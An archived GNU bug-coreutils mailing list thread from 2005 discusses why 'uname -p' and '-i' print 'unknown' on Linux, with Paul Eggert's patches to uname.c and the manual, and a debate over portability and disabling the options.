diff -p -u -r1.282 coreutils.texi
--- doc/coreutils.texi 13 Sep 2005 23:01:59 - 1.282
+++ doc/coreutils.texi 15 Sep 2005 19:55:41 -
@@ -12214,7 +12214,8 @@ The program accepts the following option
@itemx --all
@opindex -a
@opindex --all
-Print all of the below information.
+Print all of the below information, except omit the processor type
+and the hardware platform name if they are unknown.
@item -i
@itemx --hardware-platform
Index: src/uname.c
===
RCS file: /fetish/cu/src/uname.c,v
retrieving revision 1.66
diff -p -u -r1.66 uname.c
--- src/uname.c 14 May 2005 07:58:37 - 1.66
+++ src/uname.c 15 Sep 2005 19:55:41 -
@@ -118,7 +118,8 @@ usage (int status)
fputs (_(\
Print certain system information. With no OPTION, same as -s.\n\
\n\
- -a, --allprint all information, in the following order:\n\
+ -a, --allprint all information, in the following order,\n\
+ except omit -p and -i if unknown:\n\
-s, --kernel-nameprint the kernel name\n\
-n, --nodename print the network node hostname\n\
-r, --kernel-release print the kernel release\n\
@@ -126,8 +127,8 @@ Print certain system information. With
fputs (_(\
-v, --kernel-version print the kernel version\n\
-m, --machineprint the machine hardware name\n\
- -p, --processor print the processor type\n\
- -i, --hardware-platform print the hardware platform\n\
+ -p, --processor print the processor type or \unknown\\n\
+ -i, --hardware-platform print the hardware platform or \unknown\\n\
-o, --operating-system print the operating system\n\
), stdout);
fputs (HELP_OPTION_DESCRIPTION, stdout);
@@ -172,7 +173,7 @@ main (int argc, char **argv)
switch (c)
{
case 'a':
- toprint = -1;
+ toprint = UINT_MAX;
break;
case 's':
@@ -286,7 +287,8 @@ main (int argc, char **argv)
# endif
Re: Possible bug in uname command
I like the fix. Though, changing the behaviour of `uname -a' just cause some people have rebelled against it outputing `unknown' in some places is quite silly; why not add such support to Linux and have it output something useful! Thanks Paul. ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Possible bug in uname command
Paul Eggert [EMAIL PROTECTED] wrote: 2005-09-15 Paul Eggert [EMAIL PROTECTED] * NEWS: uname -a no longer generates the -p and -i outputs if they are unknown. * doc/coreutils.texi (uname invocation): Document this. * src/uname.c (usage): Document this. (main): Implement this. I like it. Thanks for doing that. ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Possible bug in uname command
Jim Meyering wrote: Paul Eggert wrote: 2005-09-15 Paul Eggert [EMAIL PROTECTED] * NEWS: uname -a no longer generates the -p and -i outputs if they are unknown. * doc/coreutils.texi (uname invocation): Document this. * src/uname.c (usage): Document this. (main): Implement this. I like it. Thanks for doing that. Very good. I like it too. Thanks Bob ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Possible bug in uname command
Eric Blake [EMAIL PROTECTED] writes: What about parsing /proc/cpuinfo, on machines that have that? That's been discussed, but it sounds like a can of worms. The information doesn't map all that well to the uname output, and my admittedly uninformed feeling is that it is not that standard among Linux versions. For example, on a Solaris 10 (sparc) box, uname -a might output this: SunOS otter 5.10 Generic_118822-11 sun4u sparc SUNW,Sun-Fire-V440 Solaris The sparc and SUNW,Sun-Fire-V440 correspond to the --processor and --hardware-platform options that are unknown on Linux boxes. /proc/cpuinfo probably would say just cpu family : 27 or something like that, which would be a pain to map to an actual name like sparc. (Or perhaps uname could just output the 27; doesn't sound that helpful, though.) And the SUNW,Sun-Fire-V440 is more of a motherboard concept than a CPU concept; is there a /proc/motherboardinfo in Linux? Maybe if some Linux whiz wanted to maintain it as a nice dropin library. But personally I'd rather just have the Linux folks support this stuff in their system calls; that's where it belongs. ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Possible bug in uname command
Paul Eggert wrote: That's been discussed, but it sounds like a can of worms. I have often thought it would be better if on machines that could not reasonably support those extra uname options that the options be disabled entirely. Then instead of unknown the program would report it as an invalid option. Bob ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Possible bug in uname command
That's been discussed, but it sounds like a can of worms. I have often thought it would be better if on machines that could not reasonably support those extra uname options that the options be disabled entirely. Then instead of unknown the program would report it as an invalid option. But that will break scripts like mad... :( ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Possible bug in uname command
That's been discussed, but it sounds like a can of worms. I have often thought it would be better if on machines that could not reasonably support those extra uname options that the options be disabled entirely. Then instead of unknown the program would report it as an invalid option. But that will break scripts like mad... :( Since POSIX doesn't document -p or -i, they are already non-portable options. But you do have a point that just deleting the options may have far-reaching effects... -- Eric Blake ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Possible bug in uname command
Alfred M. Szmidt wrote: I have often thought it would be better if on machines that could not reasonably support those extra uname options that the options be disabled entirely. Then instead of unknown the program would report it as an invalid option. But that will break scripts like mad... :( I don't think it will break scripts because legacy operating systems don't support those options either. Therefore most people looking at 'uname -p' output will already be broken on many platforms. And on platforms where it works it will continue to work. [EMAIL PROTECTED]:~$ /bin/uname -p /bin/uname: illegal option -- p usage: uname [-amnrsvil] [-S nodename] Neither does Debian. They disable the option because of the user complaints. Bob ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Possible bug in uname command
Since POSIX doesn't document -p or -i, they are already non-portable options. GNU Coreutils isn't POSIX Coreutils. ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Possible bug in uname command
I have often thought it would be better if on machines that could not reasonably support those extra uname options that the options be disabled entirely. Then instead of unknown the program would report it as an invalid option. But that will break scripts like mad... :( I don't think it will break scripts because legacy operating systems don't support those options either. If you consider GNU a legacy operating system, sure. Recall, GNU coreutils is for GNU, not non-GNU systems. How about those options get disabled if POSIXLY_CORRECT is defined instead? That makes sense, and doesn't break scripts. ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Possible bug in uname command
Alfred M. Szmidt wrote: I don't think it will break scripts because legacy operating systems don't support those options either. ^^ If you consider GNU a legacy operating system, sure. Recall, GNU coreutils is for GNU, not non-GNU systems. Notice that I said either. Does Hurd support the interface to supply 'uname -p' information? The implication from reading this is your statement is that it does not. In which case 'uname -p' on GNU Hurd is not useful either. How about those options get disabled if POSIXLY_CORRECT is defined instead? That makes sense, and doesn't break scripts. Can you give an example of scripts that would use 'uname -p' and why they are not already broken now? Because basically when dealing with a command as non-portable as uname you should take these differences into consideration now already. The only portable way to use uname is without any options and then work from there after you know what system you are on. Look at config.guess for lots of examples of uname issues. Basically uname is awful. Bob ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Possible bug in uname command
I don't think it will break scripts because legacy operating systems don't support those options either. ^^ If you consider GNU a legacy operating system, sure. Recall, GNU coreutils is for GNU, not non-GNU systems. Notice that I said either. Noted, sorry that I missed it. Does Hurd support the interface to supply 'uname -p' information? The implication from reading this is your statement is that it does not. In which case 'uname -p' on GNU Hurd is not useful either. It doesn't work currently, but there are no reasons why one couldn't add such support. Because basically when dealing with a command as non-portable as uname you should take these differences into consideration now already. They are only non-portable across different operating systems (say OpenBSD vs GNU). My point is that coreutils main goal is not to be portable across various operating systems, if `uname -p' outputs `unknown' on platforms that can't provide that info, then that is fine. Cheers. ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Possible bug in uname command
Dear Sir, There seems to be a possible bug in uname command on most versions of the Linux system. uname -p prints 'unknown' instead of the host processor name. Please look into the matter. Thanks and Regards, Asif Iqbal Trumboo ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Possible bug in uname command
Asif Iqbal, Trumboo [EMAIL PROTECTED] writes:
There seems to be a possible bug in uname command on most versions of
the Linux system.
uname -p prints 'unknown' instead of the host processor name.
As I understand it, that is a deficiency in the Linux API rather than
a bug in coreutils proper: Linux doesn't support the relevant sysinfo
(Solaris-style) or sysctl (BSD-style) system calls. Perhaps you can
report the problem to the Linux kernel folks.
In the meantime I installed the following documentation patch to
coreutils.
2005-09-13 Paul Eggert [EMAIL PROTECTED]
* doc/coreutils.texi (uname invocation): Mention that Linux outputs
unknown for -i and -p.
--- doc/coreutils.texi 13 Sep 2005 22:07:58 - 1.280
+++ doc/coreutils.texi 13 Sep 2005 23:01:59 - 1.282
@@ -12225,6 +12225,8 @@ Print all of the below information.
@cindex platform, hardware
Print the hardware platform name
(sometimes called the hardware implementation).
+Print @samp{unknown} if the kernel does not make this information
+easily available, as is the case with Linux kernels.
@item -m
@itemx --machine
@@ -12252,6 +12254,8 @@ Print the network node hostname.
@cindex host processor type
Print the processor type (sometimes called the instruction set
architecture or ISA).
+Print @samp{unknown} if the kernel does not make this information
+easily available, as is the case with Linux kernels.
@item -o
@itemx --operating-system
___
Bug-coreutils mailing list
Bug-coreutils@gnu.org
http://lists.gnu.org/mailman/listinfo/bug-coreutils
Re: Possible bug in uname command
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 As I understand it, that is a deficiency in the Linux API rather than a bug in coreutils proper: Linux doesn't support the relevant sysinfo (Solaris-style) or sysctl (BSD-style) system calls. Perhaps you can report the problem to the Linux kernel folks. What about parsing /proc/cpuinfo, on machines that have that? (Cygwin falls into the same camp as linux, where this information is in /proc/cpuinfo, but not available from any easy system call.) - -- Life is short - so eat dessert first! Eric Blake [EMAIL PROTECTED] -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.1 (Cygwin) Comment: Public key at home.comcast.net/~ericblake/eblake.gpg Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFDJ5OH84KuGfSFAYARApHEAJ9rYI3q3EF8bVO/G5W7mDDvRrVUSwCfYUBL xTX4M5DVIUxlQbTNz+tfqf8= =18S5 -END PGP SIGNATURE- ___ Bug-coreutils mailing list Bug-coreutils@gnu.org http://lists.gnu.org/mailman/listinfo/bug-coreutils
